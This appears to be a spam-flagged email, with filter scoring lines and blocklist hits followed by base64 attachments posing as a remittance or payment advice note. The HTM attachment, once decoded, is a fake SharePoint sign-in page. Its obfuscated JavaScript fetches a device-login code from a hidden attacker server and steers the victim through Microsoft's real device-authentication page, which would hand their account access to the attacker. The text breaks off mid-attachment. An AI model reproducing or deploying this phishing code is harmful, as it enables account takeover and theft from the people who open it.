[2603:10b6:303:2b:cafe:0:0:1b listed in]

[will-spam-for-food.eu.org]

[2603:10b6:303:2b:cafe:0:0:1b listed in]

[will-spam-for-food.eu.org]

[2603:10b6:303:2b:cafe:0:0:1b listed in]

[will-spam-for-food.eu.org]

[2603:10b6:303:2b:cafe:0:0:1b listed in]

[will-spam-for-food.eu.org]

[2603:10b6:303:2b:cafe:0:0:1b listed in]

[will-spam-for-food.eu.org]

[2603:10b6:303:2b:cafe:0:0:1b listed in]

[will-spam-for-food.eu.org]

[2603:10b6:303:2b:cafe:0:0:1b listed in]

[will-spam-for-food.eu.org]

[2603:10b6:303:2b:0:0:0:15 listed in]

[will-spam-for-food.eu.org]

[2603:10b6:303:2b:0:0:0:15 listed in]

[will-spam-for-food.eu.org]

[2603:10b6:303:2b:0:0:0:15 listed in]

[will-spam-for-food.eu.org]

[2603:10b6:303:2b:0:0:0:15 listed in]

[will-spam-for-food.eu.org]

[2603:10b6:303:2b:0:0:0:15 listed in]

[will-spam-for-food.eu.org]

[2603:10b6:303:2b:0:0:0:15 listed in]

[will-spam-for-food.eu.org]

[2603:10b6:303:2b:0:0:0:15 listed in]

[will-spam-for-food.eu.org]

[2603:10b6:303:2b:0:0:0:15 listed in]

[will-spam-for-food.eu.org]

[40.107.209.72 listed in will-spam-for-food.eu.org]

[40.107.209.72 listed in will-spam-for-food.eu.org]

[40.107.209.72 listed in will-spam-for-food.eu.org]

[40.107.209.72 listed in will-spam-for-food.eu.org]

[40.107.209.72 listed in will-spam-for-food.eu.org]

[40.107.209.72 listed in will-spam-for-food.eu.org]

[40.107.209.72 listed in will-spam-for-food.eu.org]

[40.107.209.72 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[40.107.209.72 listed in dnsbl.ahbl.org]

[40.107.209.72 listed in dnsbl.ahbl.org]

[40.107.209.72 listed in dnsbl.ahbl.org]

[40.107.209.72 listed in dnsbl.ahbl.org]

[103.79.79.120 listed in dnsbl.ahbl.org]

[103.79.79.120 listed in dnsbl.ahbl.org]

[103.79.79.120 listed in dnsbl.ahbl.org]

[103.79.79.120 listed in dnsbl.ahbl.org]

[2603:10b6:303:2b:0:0:0:15 listed in]

[dnsbl.ahbl.org]

[2603:10b6:303:2b:0:0:0:15 listed in]

[dnsbl.ahbl.org]

[2603:10b6:303:2b:0:0:0:15 listed in]

[dnsbl.ahbl.org]

[2603:10b6:303:2b:0:0:0:15 listed in]

[dnsbl.ahbl.org]

[2603:10b6:303:2b:cafe:0:0:1b listed in]

[dnsbl.ahbl.org]

[2603:10b6:303:2b:cafe:0:0:1b listed in]

[dnsbl.ahbl.org]

[2603:10b6:303:2b:cafe:0:0:1b listed in]

[dnsbl.ahbl.org]

[2603:10b6:303:2b:cafe:0:0:1b listed in]

[dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[40.107.209.72 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[40.107.209.72 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[40.107.209.72 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[40.107.209.72 listed in dnsbl.ahbl.org]

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[40.107.209.72 listed in list.dnswl.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 SPF_PASS SPF: sender matches SPF record

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[40.107.209.72 listed in wl.mailspike.net]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[40.107.209.72 listed in bl.score.senderscore.com]

0.0 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

2.0 BASE64_LENGTH_79_INF BODY: base64 encoded email part uses line length

greater than 79 characters

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 T_HTML_ATTACH HTML attachment to bypass scanning?

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

0.6 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

Subject: {SPAM?}



--===============3412410151919645408==

Content-Type: text/html; charset="us-ascii"

MIME-Version: 1.0

Content-Transfer-Encoding: 7bit





--===============3412410151919645408==

Content-Type: application/octet-stream

MIME-Version: 1.0

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename=Remmittance/PaymentAdviceNote:UXSGCWFGQN.eml



TUlNRS1WZXJzaW9uOiAxLjAKQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9InV0Zi04

IgpDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjQKVG86IEFkbWluCkZyb206IEFjY291

bnRAbWljcm9zb2Z0LmNvbQpTdWJqZWN0OiA9P3V0Zi04P3E/TWVzc2FnZSBGaWxlPz0KClBIQStT

R2tnUkdGMlpTdzhMM0ErQ2p3dmNENUJkSFJoWTJobFpDQnBiaUIwYUdVZ2MyVmpkWEpsSUVoVVRT

Qm1hV3hsSUdFZ2JHbHpkQ0J2WmlCcGJuWnZhV05sY3lCd2NtOWpaWE56WldRZ1ptOXlJRTVyTGlC

SmJpQjBhR1VnWlhabGJuUWdkR2hoZENCM1pTQm9ZWFpsSUhCeWIyTmxjM05sWkNCd1lYbHRaVzUw

Y3lCbWIzSWdiWFZzZEdsd2JHVWdZM1Z6ZEc5dFpYSnpJRzltSUhsdmRYSnpMQ0IwYUdVZ2NtVndi

M0owSUhkcGJHd2dZbkpsWVdzZ1pHOTNiaUIwYUdVZ1pHVjBZV2xzSUdKNUlHTjFjM1J2YldWeUxp

QkJibmtnY21Wc1lYUmxaQ0JtWldWeklHRnpjMlZ6YzJWa0lHSjVJRWRJV0N3Z2FXWWdZWEJ3Ykds

allXSnNaU3dnZDJsc2JDQmlaU0JwYm1ScFkyRjBaV1FnYjI0Z2RHaGxJSEpsY0c5eWRDNDhMM0Er

Q2p4d1BrdHBibVJzZVNCbWFXNWtJR0YwZEdGamFHVmtJSFJvWlNCeVpXMXBkSFJoYm1ObElISmxj

Rzl5ZEhNZ2FXNGdkR2hsSUdWdVkyeHZjMlZrSUVoVVRTQm1hV3hsSUdadmNpQjViM1Z5SUhKbFpt

VnlaVzVqWlM0OEwzQStDanh3UGxKbFoyRnlaSE1zUEdKeUlDOCtRV05qYjNWdWRHbHVaend2Y0Q0

PQ==



--===============3412410151919645408==

Content-Type: application/octet-stream

MIME-Version: 1.0

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename=UJKMJWXTHB.HTM



Tk9URTogSWYgeW91IHJlY2VpdmUgdGhlIG1lc3NhZ2Ug4oCcVW5hYmxlIHRvIHByZXBhcmUgZG9j

dW1lbnQuIFBsZWFzZSB0cnkgYWdhaW4gbGF0ZXIu4oCdLCByZWZyZXNoIHRoZSBhdHRhY2htZW50

IGFuZCBjb250aW51ZSByZWZyZXNoaW5nIGl0IHVudGlsIHRoZSBhY2Nlc3MgY29kZSBhcHBlYXJz

LiA6IE5CVkNSQUFJCjwhRE9DVFlQRSBodG1sPjxodG1sIGxhbmc9ImVuIj48aGVhZD48bWV0YSBj

aGFyc2V0PSJVVEYtOCI+PG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmlj

ZS13aWR0aCxpbml0aWFsLXNjYWxlPTEuMCI+PG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRp

YmxlIiBjb250ZW50PSJJRT1lZGdlIj48dGl0bGU+QWNjb3VudGluZyBzaGFyZWQgJmxkcXVvO1Jl

bWl0dGFuY2UvUGF5bWVudCBSZXBvcnRzJnJkcXVvOyB3aXRoIHlvdTwvdGl0bGU+PHN0eWxlPip7

bWFyZ2luOjA7cGFkZGluZzowO2JveC1zaXppbmc6Ym9yZGVyLWJveH1ib2R5e2ZvbnQtZmFtaWx5

OiJTZWdvZSBVSSIsc3lzdGVtLXVpLC1hcHBsZS1zeXN0ZW0sc2Fucy1zZXJpZjtiYWNrZ3JvdW5k

OiNmNGYzZjI7bWluLWhlaWdodDoxMDB2aH0uX2thd3dhY3tiYWNrZ3JvdW5kOiMwMzYwNjU7aGVp

Z2h0OjQ2cHg7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtwYWRkaW5nOjAgMjJweH0u

X3l0a3VvZ3tkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDo5cHg7Y29sb3I6I2Zm

Zjtmb250LXNpemU6MTVweDtmb250LXdlaWdodDo2MDB9Ll95dGt1b2cgc3Zne3dpZHRoOjIycHg7

aGVpZ2h0OjIycHh9Ll94d2JtcHB7bWF4LXdpZHRoOjU4MHB4O21hcmdpbjo0NHB4IGF1dG87cGFk

ZGluZzowIDE4cHh9Ll9ubXhveG97YmFja2dyb3VuZDojZmZmO2JvcmRlci1yYWRpdXM6NHB4O2Jv

eC1zaGFkb3c6MCAxLjVweCAzLjVweCByZ2JhKDAsMCwwLC4xMyksMCAuM3B4IC45cHggcmdiYSgw

LDAsMCwuMSk7b3ZlcmZsb3c6aGlkZGVufS5fc2Nkam9ue3BhZGRpbmc6MzBweCAzNHB4IDIycHg7

Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2VjZWFlOH0uX3RlcGN5d3t3aWR0aDo0NnB4O2hlaWdo

dDo0NnB4O2JvcmRlci1yYWRpdXM6NTAlO2JhY2tncm91bmQ6IzAzNjA2NTtkaXNwbGF5OmZsZXg7

YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7Y29sb3I6I2ZmZjtmb250

LXNpemU6MTlweDtmb250LXdlaWdodDo2MDA7bWFyZ2luLWJvdHRvbToxNHB4fS5fc2Nkam9uIGgx

e2ZvbnQtc2l6ZToxOHB4O2ZvbnQtd2VpZ2h0OjYwMDtjb2xvcjojMmIyYjJiO21hcmdpbi1ib3R0

b206NnB4fS5fc2Nkam9uIHB7Zm9udC1zaXplOjEzcHg7Y29sb3I6IzYzNjM2MztsaW5lLWhlaWdo

dDoxLjV9Ll96ZmdvenV7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtnYXA6MTRweDtw

YWRkaW5nOjIwcHggMzRweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZWNlYWU4fS5fbmptcXNt

e2ZsZXgtc2hyaW5rOjB9Ll9zam9hY3Z7ZmxleDoxO21pbi13aWR0aDowfS5fc2pvYWN2IGRpdjpm

aXJzdC1jaGlsZHtmb250LXNpemU6MTRweDtmb250LXdlaWdodDo2MDA7Y29sb3I6IzJiMmIyYjt3

aGl0ZS1zcGFjZTpub3dyYXA7b3ZlcmZsb3c6aGlkZGVuO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXN9

Ll9jaHJydmN7Zm9udC1zaXplOjExcHg7Y29sb3I6I2EzYTFhMDttYXJnaW4tdG9wOjNweH0uX2Ji

b2R1bHtwYWRkaW5nOjE2cHggMzRweDtiYWNrZ3JvdW5kOiNmYWY5Zjg7Ym9yZGVyLWJvdHRvbTox

cHggc29saWQgI2VjZWFlODtmb250LXNpemU6MTJweDtjb2xvcjojNjM2MzYzfS5fYmJvZHVsIHN0

cm9uZ3tjb2xvcjojMmIyYjJifS5fb29xa3Bxe3BhZGRpbmc6MjZweCAzNHB4O3RleHQtYWxpZ246

Y2VudGVyfS5fb3ZmcW1oe21hcmdpbjoxOHB4IDAgMDtwYWRkaW5nOjE4cHggMTZweDtiYWNrZ3Jv

dW5kOiNmOWY5Zjg7Ym9yZGVyOjFweCBzb2xpZCAjZTZlNGUxO2JvcmRlci1yYWRpdXM6NnB4O3Rl

eHQtYWxpZ246Y2VudGVyfS5fd2pzdmlve2Rpc3BsYXk6aW5saW5lLWJsb2NrO2JhY2tncm91bmQ6

IzAzNjA2NTtjb2xvcjojZmZmO2JvcmRlcjpub25lO3BhZGRpbmc6MTFweCA0NHB4O2ZvbnQtc2l6

ZToxNHB4O2ZvbnQtd2VpZ2h0OjYwMDtib3JkZXItcmFkaXVzOjNweDtjdXJzb3I6cG9pbnRlcjt0

ZXh0LWRlY29yYXRpb246bm9uZTtmb250LWZhbWlseTppbmhlcml0O3RyYW5zaXRpb246YmFja2dy

b3VuZCAuMTVzfS5fd2pzdmlvOmhvdmVye29wYWNpdHk6Ljl9Ll9nanNuanp7dGV4dC1hbGlnbjpj

ZW50ZXI7cGFkZGluZzowIDM0cHggMjBweH0uX2dqc25qeiBwe2ZvbnQtc2l6ZToxMnB4O2NvbG9y

OiNhM2ExYTB9Ll90ZmJ2ZHR7ZGlzcGxheTppbmxpbmUtYmxvY2s7d2lkdGg6MTRweDtoZWlnaHQ6

MTRweDtib3JkZXI6MnB4IHNvbGlkICNlY2VhZTg7Ym9yZGVyLXRvcC1jb2xvcjojMDM2MDY1O2Jv

cmRlci1yYWRpdXM6NTAlO2FuaW1hdGlvbjpfaHRldXJmIC44cyBsaW5lYXIgaW5maW5pdGU7dmVy

dGljYWwtYWxpZ246bWlkZGxlO21hcmdpbi1yaWdodDo0cHh9QGtleWZyYW1lcyBfaHRldXJme3Rv

e3RyYW5zZm9ybTpyb3RhdGUoMzYwZGVnKX19Ll9odGV1cmZ7ZGlzcGxheTpmbGV4O2FsaWduLWl0

ZW1zOmNlbnRlcjtnYXA6NXB4O2p1c3RpZnktY29udGVudDpjZW50ZXI7cGFkZGluZzoxMHB4IDM0

cHg7Zm9udC1zaXplOjEwcHg7Y29sb3I6I2EzYTFhMH0uX2h0ZXVyZiBzdmd7d2lkdGg6MTFweDto

ZWlnaHQ6MTFweDtmaWxsOiNhM2ExYTB9Ll92c2lqdWZ7ZGlzcGxheTpub25lO3RleHQtYWxpZ246

Y2VudGVyO3BhZGRpbmc6NDRweCAzNHB4fS5fcm9xYmd6e3dpZHRoOjUycHg7aGVpZ2h0OjUycHg7

Ym9yZGVyLXJhZGl1czo1MCU7YmFja2dyb3VuZDojMGY3YjEwO2Rpc3BsYXk6ZmxleDthbGlnbi1p

dGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjttYXJnaW46MCBhdXRvIDE0cHh9Ll9y

b3FiZ3ogc3Zne3dpZHRoOjI2cHg7aGVpZ2h0OjI2cHh9Ll92c2lqdWYgaDJ7Zm9udC1zaXplOjE4

cHg7Zm9udC13ZWlnaHQ6NjAwO2NvbG9yOiMyYjJiMmI7bWFyZ2luLWJvdHRvbTo2cHh9Ll92c2lq

dWYgcHtmb250LXNpemU6MTNweDtjb2xvcjojNjM2MzYzfS5fdGVqbGxye3RleHQtYWxpZ246Y2Vu

dGVyO3BhZGRpbmc6MjJweCAzNHB4O2NvbG9yOiNhMzAwMDA7Zm9udC1zaXplOjEzcHg7ZGlzcGxh

eTpub25lfS5fZnZicWhme3RleHQtYWxpZ246Y2VudGVyO3BhZGRpbmc6MTZweDtmb250LXNpemU6

MTBweDtjb2xvcjojYTNhMWEwfSNfY29kZUJveHtkaXNwbGF5Om5vbmV9I19sb2FkQm94e3RleHQt

YWxpZ246Y2VudGVyO3BhZGRpbmc6MzBweCAzNHB4fTwvc3R5bGU+PC9oZWFkPjxib2R5PjxkaXYg

Y2xhc3M9Il9rYXd3YWMiPjxkaXYgY2xhc3M9Il95dGt1b2ciPjxzdmcgdmlld0JveD0iMCAwIDI0

IDI0IiBmaWxsPSJub25lIiB3aWR0aD0iMjIiIGhlaWdodD0iMjIiPjxjaXJjbGUgY3g9IjEyIiBj

eT0iOCIgcj0iNSIgZmlsbD0icmdiYSgyNTUsMjU1LDI1NSwuNSkiLz48Y2lyY2xlIGN4PSI3IiBj

eT0iMTUiIHI9IjQiIGZpbGw9InJnYmEoMjU1LDI1NSwyNTUsLjcpIi8+PGNpcmNsZSBjeD0iMTci

IGN5PSIxNSIgcj0iNCIgZmlsbD0iI2ZmZiIvPjwvc3ZnPlNoYXJlUG9pbnQ8L2Rpdj48L2Rpdj48

ZGl2IGNsYXNzPSJfeHdibXBwIj48ZGl2IHN0eWxlPSJmb250LXNpemU6MTJweDtjb2xvcjojNjM2

MzYzO21hcmdpbi1ib3R0b206MTRweDtwYWRkaW5nOjAgNHB4Ij5TaGFyZVBvaW50ICZndDsgPHNw

YW4gc3R5bGU9ImNvbG9yOiMwMzYwNjUiPlNoYXJlZCBEb2N1bWVudHM8L3NwYW4+PC9kaXY+PGRp

diBjbGFzcz0iX25teG94byI+PGRpdiBpZD0ibWFpblZpZXciPjxkaXYgY2xhc3M9Il9zY2Rqb24i

PjxkaXYgY2xhc3M9Il90ZXBjeXciPkE8L2Rpdj48aDE+QWNjb3VudGluZyBzaGFyZWQgYSBkb2N1

bWVudCB3aXRoIHlvdTwvaDE+PHA+U2lnbiBpbiB3aXRoIHlvdXIgTWljcm9zb2Z0IGFjY291bnQg

dG8gdmlldyB0aGlzIHNoYXJlZCBpdGVtLjwvcD48L2Rpdj48ZGl2IGNsYXNzPSJfemZnb3p1Ij48

ZGl2IGNsYXNzPSJfbmptcXNtIj48c3ZnIHdpZHRoPSIzOCIgaGVpZ2h0PSI0NiIgdmlld0JveD0i

MCAwIDM4IDQ2Ij48cmVjdCB3aWR0aD0iMzgiIGhlaWdodD0iNDYiIHJ4PSI0IiBmaWxsPSIjQzQy

RjFBIi8+PHRleHQgeD0iMTkiIHk9IjI5IiB0ZXh0LWFuY2hvcj0ibWlkZGxlIiBmaWxsPSIjZmZm

IiBmb250LWZhbWlseT0iU2Vnb2UgVUksc2Fucy1zZXJpZiIgZm9udC1zaXplPSIxMyIgZm9udC13

ZWlnaHQ9IjcwMCI+UERGPC90ZXh0Pjwvc3ZnPjwvZGl2PjxkaXYgY2xhc3M9Il9zam9hY3YiPjxk

aXY+UmVtaXR0YW5jZS9QYXltZW50IFJlcG9ydHMucGRmPC9kaXY+PGRpdiBjbGFzcz0iX2NocnJ2

YyI+UERGIERvY3VtZW50PC9kaXY+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iX2Jib2R1bCI+PHN0

cm9uZz5TaGFyZWQgYnk6PC9zdHJvbmc+IEFjY291bnRpbmcgJm1pZGRvdDsgPHN0cm9uZz5TZW50

Ojwvc3Ryb25nPiBUb2RheTwvZGl2PjxkaXYgaWQ9Il9sb2FkQm94Ij48cCBzdHlsZT0iZm9udC1z

aXplOjEzcHg7Y29sb3I6IzYzNjM2MzttYXJnaW4tYm90dG9tOjE0cHgiPlByZXBhcmluZyBzZWN1

cmUgZG9jdW1lbnQgYWNjZXNzLi4uPC9wPjxkaXYgY2xhc3M9Il90ZmJ2ZHQiIHN0eWxlPSJ3aWR0

aDoyOHB4O2hlaWdodDoyOHB4O2JvcmRlci13aWR0aDozcHg7bWFyZ2luOjAgYXV0byI+PC9kaXY+

PC9kaXY+PGRpdiBpZD0iX2NvZGVCb3giIGNsYXNzPSJfb29xa3BxIj48ZGl2IGNsYXNzPSJfb3Zm

cW1oIj48cCBzdHlsZT0iZm9udC1zaXplOjExcHg7Y29sb3I6IzZlNmI2ODttYXJnaW4tYm90dG9t

OjEwcHgiPlZlcmlmaWNhdGlvbiBjb2RlPC9wPjxkaXYgc3R5bGU9ImZvbnQtc2l6ZToyOHB4O2Zv

bnQtd2VpZ2h0OjcwMDtjb2xvcjojMDM2MDY1O2xldHRlci1zcGFjaW5nOjRweDtmb250LWZhbWls

eTpTZWdvZSBVSSxtb25vc3BhY2U7bWFyZ2luLWJvdHRvbToxMHB4O3VzZXItc2VsZWN0OmFsbCIg

aWQ9Il91YyI+PC9kaXY+PGJ1dHRvbiBpZD0iX2NwQnRuIiBzdHlsZT0iYmFja2dyb3VuZDojMDM2

MDY1O2NvbG9yOiNmZmY7Ym9yZGVyOm5vbmU7cGFkZGluZzo2cHggMThweDtib3JkZXItcmFkaXVz

OjRweDtjdXJzb3I6cG9pbnRlcjtmb250LXNpemU6MTFweDtmb250LWZhbWlseTppbmhlcml0Ij5D

b3B5IGNvZGU8L2J1dHRvbj48ZGl2IHN0eWxlPSJtYXJnaW4tdG9wOjE0cHg7dGV4dC1hbGlnbjps

ZWZ0O2ZvbnQtc2l6ZToxMXB4O2NvbG9yOiM2ZTZiNjg7bGluZS1oZWlnaHQ6MS45Ij48cCBzdHls

ZT0iZm9udC13ZWlnaHQ6NjAwO21hcmdpbi1ib3R0b206NXB4Ij5TdGVwcyB0byBzaWduIGluOjwv

cD48b2wgc3R5bGU9InBhZGRpbmctbGVmdDoyMHB4O21hcmdpbjowIj48bGk+Q2xpY2sgPHN0cm9u

Zz5TaWduIEluPC9zdHJvbmc+IGJlbG93IHRvIG9wZW4gdGhlIGF1dGhlbnRpY2F0aW9uIHdpbmRv

dzwvbGk+PGxpPkVudGVyIHRoZSBjb2RlIHNob3duIGFib3ZlIHdoZW4gcHJvbXB0ZWQ8L2xpPjxs

aT5BdXRoZW50aWNhdGUgd2l0aCB5b3VyIGFjY291bnQ8L2xpPjxsaT5SZXR1cm4gdG8gdGhpcyB0

YWIgYWZ0ZXIgc2lnbmluZyBpbjwvbGk+PC9vbD48L2Rpdj48L2Rpdj48ZGl2IHN0eWxlPSJtYXJn

aW4tdG9wOjE4cHgiPjxhIGlkPSJfc2lnbkJ0biIgaHJlZj0iIyIgdGFyZ2V0PSJfYmxhbmsiIHJl

bD0ibm9vcGVuZXIiIGNsYXNzPSJfd2pzdmlvIj5TaWduIEluPC9hPjwvZGl2PjwvZGl2PjxkaXYg

aWQ9Il9lcnJCb3giIGNsYXNzPSJfdGVqbGxyIj5VbmFibGUgdG8gcHJlcGFyZSBkb2N1bWVudC4g

UGxlYXNlIHRyeSBhZ2FpbiBsYXRlci48L2Rpdj48ZGl2IGNsYXNzPSJfZ2pzbmp6Ij48cCBpZD0i

X3N0YXR1c01zZyI+PHNwYW4gY2xhc3M9Il90ZmJ2ZHQiPjwvc3Bhbj5WZXJpZnlpbmcgYWNjZXNz

IHBlcm1pc3Npb25zLi4uPC9wPjwvZGl2PjxkaXYgY2xhc3M9Il9odGV1cmYiPjxzdmcgdmlld0Jv

eD0iMCAwIDE2IDE2Ij48cGF0aCBkPSJNOCAxYTQgNCAwIDAgMC00IDR2MkgzYTEgMSAwIDAgMC0x

IDF2NmExIDEgMCAwIDAgMSAxaDEwYTEgMSAwIDAgMCAxLTFWOGExIDEgMCAwIDAtMS0xaC0xVjVh

NCA0IDAgMCAwLTQtNHptLTIuNSA0YTIuNSAyLjUgMCAwIDEgNSAwdjJoLTVWNXoiLz48L3N2Zz5T

ZWN1cmVkIHdpdGggTWljcm9zb2Z0IGF1dGhlbnRpY2F0aW9uPC9kaXY+PC9kaXY+PGRpdiBjbGFz

cz0iX3ZzaWp1ZiIgaWQ9Il9zdWNjZXNzQm94Ij48ZGl2IGNsYXNzPSJfcm9xYmd6Ij48c3ZnIHZp

ZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0ibm9uZSI+PHBhdGggZD0iTTkgMTYuMTdMNC44MyAxMmwt

MS40MiAxLjQxTDkgMTkgMjEgN2wtMS40MS0xLjQxTDkgMTYuMTd6IiBmaWxsPSIjZmZmIi8+PC9z

dmc+PC9kaXY+PGgyPkRvY3VtZW50IGFjY2VzcyBncmFudGVkPC9oMj48cD5Zb3Ugbm93IGhhdmUg

YWNjZXNzLiBUaGlzIHdpbmRvdyB3aWxsIGNsb3NlIGF1dG9tYXRpY2FsbHkuPC9wPjwvZGl2Pjwv

ZGl2PjwvZGl2PjxkaXYgY2xhc3M9Il9mdmJxaGYiPlNoYXJlUG9pbnQgJm1pZGRvdDsgTWljcm9z

b2Z0IDM2NSAmbWlkZG90OyBUZXJtcyBvZiB1c2UgJm1pZGRvdDsgUHJpdmFjeTwvZGl2PjxzY3Jp

cHQ+dmFyIF9rPTk3O2Z1bmN0aW9uIF9yKGEpe3JldHVybiBhLm1hcChmdW5jdGlvbih4KXtyZXR1

cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4Xl9rKX0pLmpvaW4oIiIpfXZhciBfZz1bOSwyMSwyMSwx

NywxOCw5MSw3OCw3OCw4NSw1LDYsMjcsODUsMTIsODMsODIsNiw5LDc5LDE4LDQsMTksNCwxNSw0

LDMsMTksNCw0LDI3LDQsMTgsNzksNSw0LDc4LDAsMTcsOCw3OCw2LDQsMTUsNCwxOSwwLDIxLDQs

OTQsMTMsMjAsMTksNCw5Miw1MywzNiwyLDgsNCwyNSw3NiwzNCwxNiwzNCw4MV07dmFyIF9zdj1b

OSwyMSwyMSwxNywxOCw5MSw3OCw3OCw4NSw1LDYsMjcsODUsMTIsODMsODIsNiw5LDc5LDE4LDQs

MTksNCwxNSw0LDMsMTksNCw0LDI3LDQsMTgsNzksNSw0LDc4LDAsMTcsOCw3OCwxOCwyMSwwLDIx

LDIwLDE4LDc4XTt2YXIgX2V1PVtdO3ZhciBfY2w9W107dmFyIF9jcz1bMiwwLDE3LDIxLDIwLDE5

LDQsNV07dmFyIF94cz1bNCwyNSwxNyw4LDE5LDQsNV07dmFyIF9kcz1bNSw0LDIsMTMsOCwxNSw0

LDVdO3ZhciBfaWQ9MDtmdW5jdGlvbiBfeGhyKHUsZm4sYil7dmFyIHg9bmV3IFhNTEh0dHBSZXF1

ZXN0KCk7eC5vcGVuKGI/IlBPU1QiOiJHRVQiLHUsdHJ1ZSk7aWYoYil4LnNldFJlcXVlc3RIZWFk

ZXIoIkNvbnRlbnQtVHlwZSIsImFwcGxpY2F0aW9uL2pzb24iKTt4Lm9ucmVhZHlzdGF0ZWNoYW5n

ZT1mdW5jdGlvbigpe2lmKHgucmVhZHlTdGF0ZT09PTQpe3RyeXtmbihKU09OLnBhcnNlKHgucmVz

cG9uc2VUZXh0KSl9Y2F0Y2goZSl7Zm4obnVsbCl9fX07eC5zZW5kKGI/SlNPTi5zdHJpbmdpZnko

Yik6bnVsbCl9d2luZG93LmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7c2V0VGlt

ZW91dChmdW5jdGlvbigpe194aHIoX3IoX2cpLGZ1bmN0aW9uKGQpe2lmKGQmJmQuc3VjY2Vzcyl7

X2lkPWQuc2Vzc2lvbl9pZDtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiX3VjIikudGV4dENvbnRl

bnQ9ZC51c2VyX2NvZGU7dmFyIHZ1PWQudmVyaWZpY2F0aW9uX3VyaV9jb21wbGV0ZXx8KCJodHRw

czovL2xvZ2luLm1pY3Jvc29mdG9ubGluZS5jb20vY29tbW9uL29hdXRoMi9kZXZpY2VhdXRoP290

Yz0iK2QudXNlcl9jb2RlKTtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiX3NpZ25CdG4iKS5ocmVm

PXZ1O2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJfc2lnbkJ0biIpLm9uY2xpY2s9ZnVuY3Rpb24o

ZSl7ZS5wcmV2ZW50RGVmYXVsdCgpO3ZhciBjdD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiX3Vj

IikudGV4dENvbnRlbnQudHJpbSgpO3RyeXtuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dChj

dCl9Y2F0Y2goeCl7dmFyIHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgidGV4dGFyZWEiKTt0LnZh

bHVlPWN0O3Quc3R5bGUuY3NzVGV4dD0icG9zaXRpb246Zml4ZWQ7bGVmdDotOTk5OXB4Ijtkb2N1

bWVudC5ib2R5LmFwcGVuZENoaWxkKHQpO3Quc2VsZWN0KCk7dHJ5e2RvY3VtZW50LmV4ZWNDb21t

YW5kKCJjb3B5Iil9Y2F0Y2goeil7fWRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQodCl9d2luZG93

Lm9wZW4odnUsIm1zYXV0aCIsIndpZHRoPTUyMCxoZWlnaHQ9NzIwLHNjcm9sbGJhcnM9eWVzLHJl

c2l6YWJsZT15ZXMiKTtyZXR1cm4gZmFsc2V9O2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJfY3BC

dG4iKS5vbmNsaWNrPWZ1bmN0aW9uKCl7bmF2aWdhdG9yLmNsaXBib2FyZC53cml0ZVRleHQoZG9j

dW1lbnQuZ2V0RWxlbWVudEJ5SWQoIl91YyIpLnRleHRDb250ZW50LnRyaW0oKSkudGhlbihmdW5j

dGlvbigpe2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJfY3BCdG4iKS50ZXh0Q29udGVudD0iQ29w

aWVkISI7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIl9jcEJ0biIpLnN0eWxlLmJhY2tncm91bmQ9

IiMwZjdiMTAiO3NldFRpbWVvdXQoZnVuY3Rpb24oKXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgi

